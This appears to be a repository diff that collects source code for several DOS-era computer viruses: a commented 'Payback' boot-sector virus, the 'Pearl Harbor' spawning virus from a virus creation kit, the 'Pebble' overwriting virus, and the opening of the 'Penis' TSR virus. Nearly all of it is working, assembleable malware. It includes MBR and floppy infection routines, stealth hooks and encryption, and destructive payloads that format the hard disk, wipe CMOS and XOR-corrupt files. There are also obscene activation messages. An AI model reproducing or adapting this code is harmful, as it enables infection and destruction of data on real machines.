;has already been decrypted for analysis. Bit sequence of encryption/decryp-
;tion key possibly chosen for its randomized bit sequence (just a guess).
;DECRYPT:
; MOV CX,02A8 ;set length of encrypted code
; MOV AX,0391D ;load decryption key (bit sequence
; ;"0011100100011101")
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
;DECLP1: DEC CX ;decrement byte count
; JS DROPPER ;if done, jump to dropper start
; XOR [SI],AL ;decrypt a byte
; XCHG AH,AL ;change key
; ROR AX,CL ;really mix it up
; DEC SI ;point to next byte to decrypt
; JMP DECLP1 ;do it all again
;****************************************************************************
;Dropper routine to place virus in MBR of fixed disk "C".
DROPPER:
MOV AX,03513 ;get INT13 vector.
INT 021
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
CALL STEAL_INT01 ;jump to steal INT01 routine
MOV AX,0201 ;select read-one-sector function
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
MOV CX,0001 ;cylinder 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL SYS_INT13 ;read boot sector of drive "C"
JB RUN_CARRIER ;if flag = failure, execute carrier
CMP WORD PTR [BX+010],012CD ;check for infection tag
JE RUN_CARRIER ;if infected, execute carrier program
XOR AX,AX
MOV DS,AX ;point to data segment 0000h
MOV AX,[046C] ;load lower two bytes of master clock
PUSH CS
POP DS ;restore data segment
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
JZ RUN_CARRIER ;if AL <> 01, do not infect system
SUB BX,0200 ;set disk I/O buffer to point to virus
MOV AX,0302 ;select write-two-sectors
CALL SYS_INT13 ;write virus to MBR and original
;boot sector to sector 2.
;****************************************************************************
;Routine to restore original jump address to start of trojan file and to
;execute trojan carrier program. We don't use it here since the virus is not
;attached to anything (other than its own dropper). Instead, the replacement
;RUN_CARRIER routine below it is executed to terminate the dropper.
;RUN_CARRIER:
; MOV DI,0100 ;point to carrier prog. start
; MOV WORD PTR [DI],030B4 ;restore original jump value
; MOV BYTE PTR [DI+02],CD ;ditto
; XOR AX,AX
; PUSH DI ;zero DI
; RET ;exit and execute carrier program
RUN_CARRIER:
MOV AX,04C00 ;select terminate-with-return-code
INT 021 ;terminate PAYBACK.COM dropper
;*****************************************************************************
;Routine to steal INT01 for tunnelling purposes and then restore it to its
;original value. Tunnelling is new to me, so I hope that I got this right.
STEAL_INT01:
MOV AX,03501 ;get INT01 (single-step) vector
INT 021
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
MOV AH,025 ;steal INT01 vector
INT 021
PUSHF
POP AX ;pop flags into AX
OR AH,01 ;set trap flag
PUSH AX
POPF ;pop AX into flag register (from this
;point on, every instruction execution
;also executes the viral INT01
;handler)
XOR AX,AX ;zero AX
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
;to find BIOS INT13 handler address
PUSHF
POP AX ;pop flags into AX
AND AH,0FE ;zero trap flag
PUSH AX
POPF ;pop AX into flag register
MOV AX,02501 ;set-interrupt-vector function (INT01)
MOV DX,BX ;load DX with orig. INT01 offset
PUSH ES
POP DS ;load DS with orig. INT01 segment
INT 21 ;restore INT01 vector to orig. value
PUSH CS
PUSH CS
POP DS ;set DS and ES to value of
POP ES ;code segment
RET
;*****************************************************************************
;INT01 handler routine to accomplish tunnelling address aquisition for
;original INT13 handler.
FIND_INT13:
PUSH BP
MOV BP,SP ;load BP with the stack offset
PUSH AX
MOV AX,[BP+04] ;load AX with the segment of the
;calling routine
CMP AX,0C800 ;is it in DOS segment?
JNB TUNNEL ;if not, its time to tunnel
EXIT: POP AX ;restore registers
POP BP
IRET ;return from INT01 interrupt
TUNNEL:
CMP AX,0F000 ;calling routine in ROM?
JA EXIT ;if so, no need to tunnel, so exit
CS: ;if not, store orig. INT13 segment
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
MOV AX,[BP+02] ;load AX with original INT13 offset
CS:
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
JMP EXIT ;return to prevent re-execution of
;this INT01 handler
SYS_INT13:
PUSHF ;preserve flags
CS:
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
RET
;*****************************************************************************
;Start of boot sector virus code.
BOOT: CLI ;disable interrupts
XOR AX,AX
MOV DS,AX ;set data segment
MOV SS,AX ;set stack segment
MOV SP,0FFFE ;set stack pointer
STI ;enable interrupts
PUSH DS ;preserve DS
DEC WORD PTR [0413] ;lower top of memory 1K
INT 012 ;get base memory size
MOV CL,0A ;set rotation count
ROR AX,CL ;calculate upper memory segment
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
MOV [07DB7],BX ;store orig. offset within virus
MOV [07DB9],ES ;store orig. segment within virus
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
MOV [004E],AX ;set vector to installed virus seg.
MOV ES,AX ;set ES to installed virus segment
XOR DI,DI ;zero destination offset for move
MOV SI,07C00 ;set source address for virus move
PUSH SI ;set SI for orig. boot sector load
MOV CX,02C8 ;set byte count for move (a count of
;0200h would have been adequate)
CLD ;clear direction flag (fwd)
REPZ
MOVSB ;move virus to upper memory
PUSH ES ;set up stack for virus reentry seg.
MOV AX,003F ;AX = offset for virus reentry point
PUSH AX ;set up stack for virus reentry off.
RETF ;return to self in new location (ES:AX)
NEW_LOCATION:
MOV AX,0201 ;select read-one-sector function
POP BX ;set disk I/O buffer to 7C00h
MOV CX,0002 ;track 0, sector 2 (self modified by
;virus to reflect true MBR location)
MOV DX,0080 ;head 0, fixed disk "C" (once again,
;self-modified by virus)
AND DL,080 ;mask to load original MBR from drive
;"C", even if not boot drive, or drive
;"A" if boot is from floppy
POP ES ;set ES = 0000h
CALL BIOS_INT13 ;load original boot sector to 0:7C00
PUSH CS
POP DS ;set to current upper-mem. seg. value
PUSH CS
POP ES ;ditto
MOV AX,0201 ;select read-one-sector function
MOV BX,0200 ;set I/O buffer location
MOV CX,0001 ;track 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL BIOS_INT13 ;load MBR
CMP WORD PTR [0210],012CD ;check for infect tag
JE BOOT_EXIT ;if infected, exit
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
JNE BOOT_EXIT ;if not, then exit
MOV AX,0302 ;select write-two-sectors function
XOR BX,BX ;set buffer offset to include virus
INC CX ;track 0, sector 2 (relocated MBR)
MOV [0044],CX ;store track/sector within viral code
MOV [0047],DX ;store head/drive within viral code
DEC CX ;track 0, sector 1
CALL BIOS_INT13 ;write virus to MBR and original MBR
;to sector 2.
BOOT_EXIT:
CALL CHECK_DATE ;check for activation date
JMP 0000:07C00 ;wrong date, so jump to original MBR
;*****************************************************************************
;INT13h handler routine.
STEALTH:
CMP CX,+01 ;track 0, sector 1?
JNE EXIT2BIOS ;if not, no need for stealth, so exit
OR DH,DH ;head 0?
JNE EXIT2BIOS ;ditto
CMP AH,02 ;read request?
JE ORIG_SECT ;if so, time for stealth...
EXIT2BIOS:
CS:
JMP FAR D[01B7] ;jump to BIOS via stored address
EXIT2CALL:
RETF 0002 ;exit to calling routine
ORIG_SECT:
CALL BIOS_INT13 ;read boot sector
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
ES:
CMP WORD PTR [BX+0010],012CD ;check for infection tag
JNE INFECT_FLOPPY ;if not infected, then infect
MOV AX,0201 ;select read-one-sector function
PUSH CX ;preserve registers values
PUSH DX ;for boot sector
ES:
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
ES:
MOV DH,[BX+0048] ;load head # of original boot record
CALL BIOS_INT13 ;load original boot record
POP DX ;restore registers to values
POP CX ;sent by calling routine
JMP EXIT2CALL ;exit directly back to calling routine
;*****************************************************************************
;Diskette infection routine. Very clever and code efficient (to me, anyway).
INFECT_FLOPPY:
PUSHF ;push flags to hide I/O errors
PUSH AX ;preserve registers
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH ES
PUSH CX ;save a few register values a
PUSH DX ;second time to be used by
PUSH BX ;the virus interrupt handler
TEST DL,080 ;fixed drive I/O?
JNZ EXIT_1 ;if so, then exit handler
ES:
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
JNE EXIT_1 ;if not, exit handler
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
JB EXIT_1 ;if not standard format, exit
CS:
MOV [0044],CX ;store reloc. track/sect. within virus
CS:
MOV [0047],DX ;store reloc. head/drive within virus
POP BX ;restore orig. buffer offset
MOV AX,0301 ;select write-one-sector
PUSH AX
CALL BIOS_INT13 ;relocate boot sector
POP AX ;restore some registers
POP DX
POP CX
JB EXIT_2 ;if I/O flag = failure, exit
XOR BX,BX ;set I/O buffer to virus start
PUSH CS
POP ES ;set ES=CS
CALL BIOS_INT13 ;write virus to boot sector
JMP EXIT_2 ;exit handler
EXIT_1:
POP BX ;restore registers
POP DX
POP CX
EXIT_2:
POP ES ;restore registers
POP DI
POP DX
POP CX
POP BX
POP AX
POPF ;pop flags to hide I/O errors
JMP EXIT2BIOS ;jump to exit to BIOS
CALC_TRACK:
MOV DI,DX ;load DI with head/drive #
ES:
MOV AX,[BX+013] ;load total # sectors on disk from BPB
ES:
MOV CX,[BX+018] ;load # of sectors per track from BPB
OR AX,AX ;test AX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
JCXZ BPB_FAIL ;ditto for CX
XOR DX,DX ;clear DX for remainder storage
DIV CX ;divide AX by CX
OR DX,DX ;test DX for 00h (no remainder)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
ES:
MOV BX,[BX+01A] ;load # of disk sides from BPB
OR BX,BX ;test BX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
DIV BX ;divide AX by BX
OR DX,DX ;test DX for 00h (no remaider)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
DEC AL ;decr. AL to obtain # of last track
MOV CH,AL ;set track # for boot sect. relocation
DEC BL ;decr. BL to obtain # of last head
MOV DX,DI ;restore head/drive information
MOV DH,BL ;set head # to last head
CLC ;clear carry flag to indicate success
RET
BPB_FAIL:
STC ;set carry flag to indicate failure
RET
BIOS_INT13:
PUSHF ;push flags
CS:
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
RET ;address
;****************************************************************************
;Check date for activation (routine modified to prevent activation).
CHECK_DATE:
MOV AH,04 ;request date function
INT 01A ;request date
CMP DX,02BAD ;check for trigger date
JE ZAP_CMOS ;the route to unethical (and illegal)
RET ;behavior
;****************************************************************************
;Clear contents of CMOS system configuration memory.
ZAP_CMOS:
MOV CX,00FF ;set CMOS count (03Ch would have been
;adequate, according to my reference)
ZCLP1: MOV DX,0070 ;set port #70h
MOV AL,CL ;set configuration address
OUT DX,AL ;select CMOS address
JMP WHY ;don't understand the need for this
WHY: INC DX ;set port #71h
XOR AL,AL ;set data value to zero
OUT DX,AL ;write data value to CMOS
LOOP ZCLP1 ;do it until CMOS count = 0
;*****************************************************************************
;Obtain format data from fixed disk "C" partition table.
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
AND DI,-040 ;mask out ending sector number
MOV CL,06 ;load CL with number of shifts
SHR DI,CL ;shift to obtain ending cylinder #
MOV AL,[03C3] ;ending head # from partition table
XOR AH,AH ;zero AH
XCHG BP,AX ;store ending head # in BP
MOV BX,01F5 ;point to sector format info. table
MOV DX,0080 ;select fixed disk "C"
;*****************************************************************************
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
;this routine is correct, it formats each platter side before incrementing the
;head count to format the next platter. The destructive "advantage" of this,
;I believe, would be that the deletion of code segments from large numbers
;of files would be accomplished very quickly, rendering executable or ZIPed
;files as useless as if they were totally deleted, but in a much shorter time.
TRASH_HD:
XOR CX,CX ;set cylinder # to zero
FORMAT_TRACK:
MOV AX,0501 ;format-track function, interleave 1
CALL BIOS_INT13 ;format track (cylinder)
AND CL,0C0 ;mask for cylinder # bits 6-7
ROL CL,01 ;shift to bits 6-7 of cylinder number
ROL CL,01 ;into bottom two (0-1) bits of CL
XCHG CL,CH ;put bottom two bits in CH to match
;DI bit arrangement
INC CX ;increment track count
CMP CX,DI ;last cylinder (CX bit pattern match
;DI bit pattern)?
JA NEXT_HEAD ;if so, increment head number
XCHG CL,CH ;put CL back to where it started
ROR CL,01 ;shift to obtain
ROR CL,01 ;original value
JMP FORMAT_TRACK ;format next track
NEXT_HEAD:
INC DH ;increment head number
MOV AX,BP ;load AX with last head number
CMP DH,AL ;last head?
JBE TRASH_HD ;if not, do it again
;****************************************************************************
;Display activation message.
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
DMLP1: CLD ;clear direction flag (fwd)
LODSB ;load character of message
OR AL,AL ;check for text end (0)
JZ LOCK_IT_UP ;if end of message, lock up system
MOV AH,0E ;select write-character function
XOR BX,BX ;page 0, color 0
INT 010 ;display character on screen
JMP DMLP1 ;do it all again
LOCK_IT_UP:
CLI ;disable interrupts
HLT ;select 0.0 Mips mode
;*****************************************************************************
;Storage area for BIOS INT13 vector used by virus.
DB ? ;Pad byte (A86 assembly only)
DW ? ;BIOS INT13 offset storage location
DW ? ;BIOS INT13 segment storage location
;*****************************************************************************
;Text strings for activation message.
MESSAGE_TEXT:
DB 0A,0D ;linefeed, carriage ret.
DB "That was for ARCV, mother fucker!"
DB 0A,0A,0D ;linefeed x 2, car. ret.
DB "Payback! (c) 1993"
DB 0A,0D ;linefeed, carriage ret.
;*****************************************************************************
;End-of-boot sector pad bytes and valid boot sector tag bytes.
DB 10 DUP ? ;pad bytes
DB 055,0AA ;valid boot sector tag
;****************************************************************************
;Start of space reserved for disk I/O
MBR_BUFFER:
DB 512 DUP ? ;reserve one sectors worth of space
;****************************************************************************
;Storage location for INT13 vector used by dropper routine.
VECT_INT13:
DD ? ;BIOS INT13 offset/segment storage
MAIN ENDS
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,434 @@
; PEARLHBR.ASM -- Pearl Harbor Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip00 ; If not equal, skip effect
call get_day
cmp ax,0007h ; Did the function return 7?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end00: call get_country
cmp ax,0051h ; Did the function return 81?
jne skip01 ; If not equal, skip effect
call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip01 ; If not equal, skip effect
call get_day
cmp ax,0007h ; Did the function return 7?
jne skip01 ; If not equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: mov dx,offset data01 ; DX points to data
push bp ; Save BP
mov bp,sp ; BP points to stack frame
sub sp,4096 ; Allocate 4096-byte buffer
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc corrupt_end ; If no files found then exit
corrupt_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D02h ; DOS open file function, r/w
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
c_crypt_loop: mov ah,03Fh ; DOS read from file function
mov cx,4096 ; Read 4k of characters
lea dx,[bp - 4096] ; DX points to the buffer
int 021h
or ax,ax ; Were 0 bytes read?
je close_c_file ; If so then close it up
push ax ; Save AX
lea si,[bp - 4096] ; SI points to the buffer
xor ah,ah ; BIOS get clock ticks function
int 01Ah
pop cx ; CX holds number of bytes read
push cx ; Save CX
corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks
inc si ; Do the next byte
inc dx ; Change the key for next byte
loop corrupt_bytes ; Repeat until buffer is done
pop dx ; Restore DX (holds bytes read)
push dx ; Save count for write
mov ax,04201h ; DOS file seek function, current
mov cx,0FFFFh ; Seeking backwards
neg dx ; Seeking backwards
int 021h
mov ah,040h ; DOS write to file function
pop cx ; CX holds number of bytes read
lea dx,[bp - 4096] ; DX points to the buffer
int 021h
jmp short c_crypt_loop
close_c_file: mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc corrupt_file ; If successful do next file
corrupt_end: pop di ; Restore DI
mov sp,bp ; Deallocate local buffer
pop bp ; Restore BP
end01:
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset spawn_name ; SI points to true filename
int 02Eh ; DOS execution back-door
push ax ; Save return value for later
mov ax,cs ; AX holds code segment
mov ds,ax ; Restore data segment
mov es,ax ; Restore extra segment
call search_files ; Find and infect a file
pop ax ; AL holds return value
mov ah,04Ch ; DOS terminate function
int 021h
main endp
db 010h,07Ch,0E5h,00Ch,0DAh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
db 0D0h,0DCh,083h,09Eh,044h
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 07Eh,0FFh,09Ah,025h,02Bh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 021h
xchg bx,ax ; BX holds file handle
call encrypt_code ; Write an encrypted copy
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
spawn_name db 12,12 dup (?),13 ; Name for next spawn
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
db 038h,025h,0F2h,0EAh,074h
get_country proc near
push bp ; Save BP
mov bp,sp ; BP points to stack frame
sub sp,34 ; Allocate 34 bytes on stack
mov ah,038h ; DOS get country function
lea dx,[bp - 34] ; DX points to unused buffer
int 021h
xchg bx,ax ; AX holds the country code
mov sp,bp ; Deallocate local buffer
pop bp ; Restore BP
ret ; Return to caller
get_country endp
db 05Bh,02Dh,0FBh,03Ah,0E9h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 049h,053h,0C8h,006h,095h
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
data00 db "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10
db 07,07,07
db "*** REMEMBER PEARL HARBOR ***",13,10,0
data01 db "C:\*.*",0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "Dedicated to the memories of t"
db "he brave American men and wome"
db "n who gave their lives at [Pea"
db "rl Harbor].",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,66 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ PEBBLE ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 21-Feb-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_0001e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
pebble proc far
start:
mov ah,4Eh ; 'N'
mov cx,27h
mov dx,12Ch
loc_0001:
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_0002 ; Jump if carry Set
call sub_0001
mov ah,4Fh ; 'O'
jmp short loc_0001
loc_0002:
int 20h ; DOS program terminate
pebble endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0001 proc near
mov ax,3D02h
mov dx,data_0001e
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov ah,40h ; '@'
mov cx,32h
mov dx,100h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_0001 endp
db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h
seg_a ends
end start
+716
View File
@@ -0,0 +1,716 @@
;*****************************************************************************
;* THE PENIS VIRUS
;*
;*
;* By Soltan Griss [YAM]
;*
;*
;*
;*
;* In no means was this intended to be a serious virus, I got bored one day
;* and decided to have some fun.
;*
;*
;* Well Here it is...
;*
;*****************************************************************************
seg_a segment
assume cs:seg_a,ds:seg_a,es:nothing
org 100h
start: db 0E9h,02,00,42h,0f2h
mov cx,(old_21-old_8) ;RUN FIRST TIME ONLY
mov si,offset old_8 ;encrypt All text messages
call crypter
mov cx,(exec-data)
mov si,offset data
call crypter
vstart equ $
call code_start
code_start:
pop si
sub si,offset code_start
mov bp,si
jmp load ;Load in the TSR
;**************************************************************************
old_8 dw 0,0
new_8: push ax
push bx ;lets run the clock
push cx ;backwards
push ds
xor ax,ax
mov ds,ax
mov bx,ds:46Ch
mov cx,ds:046Eh
dec bx
jno loc_4
dec cx
jno loc_4
mov bx,0AFh
mov cx,18h ;remember to do it twice
loc_4: ;cause the normal increase
dec bx ;will negate the first one
jno loc_5
dec cx
jno loc_5
mov bx,0AFh
mov cx,18h
loc_5:
mov ds:046Eh,cx
mov ds:046Ch,bx
pop ds
pop cx
pop bx
pop ax
do_old_8: jmp dword ptr cs:[old_8-vstart]
;****************************************************************************
;int 9 handler
old_9 dd ? ;Store old int 9
new_9:
push ax
in al,60h ;Turn on Register 60
cmp al,53h ;Ctrl-Alt-Del
je fuck_you
pop ax
jmp dword ptr cs:[(old_9-vstart)]
say_it: db "FUCK YOU ASSHOLE! ","$"
fuck_you:
push ds
push dx
mov ah,9h
push cs
pop ds
mov dx,say_it-vstart ;Say message
int 21h
pop dx
pop ds
pop ax
iret
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
old_21 dd ?
new_21:
cmp ax,4b00h ;Are we executing?
je exec1
cmp ah,11h
je hide_size
cmp ah,12h
je hide_size
cmp ax,0f242h ;Are we going resident?
jne do_old
mov bx,242fh ;Set our residency byte
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
exec1: jmp exec
do_dir: jmp dword ptr cs:[(old_21-vstart)]
ret
hide_size:
pushf
push cs
call do_dir ;get the current FCB
cmp al,00h
jnz dir_error ;jump if bad FCB
push ax
